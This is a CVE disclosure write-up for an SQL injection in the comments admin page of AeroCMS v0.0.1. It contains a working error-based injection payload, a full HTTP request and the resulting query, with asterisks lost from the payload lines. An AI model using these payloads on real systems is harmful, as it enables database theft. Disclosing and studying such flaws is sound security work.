CVE-2022-45536: CVE/post_comments_sql_injection.md at master · rdyx0/CVE

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post_comments_sql_injection****Step to Reproduct

Login to admin panel -> Comments.The id parameter from the AeroCMS-v0.0.1 CMS system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this CMS system and he can use it for very malicious purposes.

Exploit

Query out the current user

Vulnerable Code

AeroCMS-0.0.1\admin\post_comments.php

The id parameter is passed in the GET mode and brought into the mysql_query() function without filtering

POC

• Injection Point

  id=1+and+(SELECT+4460+FROM(SELECT+COUNT(),CONCAT(0x7e,(SELECT+(ELT(4460%3d4460,user()))),0x7e,FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

• Request

  GET /AeroCMS-0.0.1/admin/post_comments.php?id=1+and+(SELECT+4460+FROM(SELECT+COUNT(),CONCAT(0x7e,(SELECT+(ELT(4460%3d4460,user()))),0x7e,FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a) HTTP/1.1 Host: localhost Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/AeroCMS-0.0.1/admin/categories.php?edit=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=fqkp2e6i3ovd3p117cgt28snqf Connection: close

SQL query statements

"SELECT * FROM comments WHERE comment_post_id =1 and (SELECT 4460 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT (ELT(4460=4460,user()))),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)"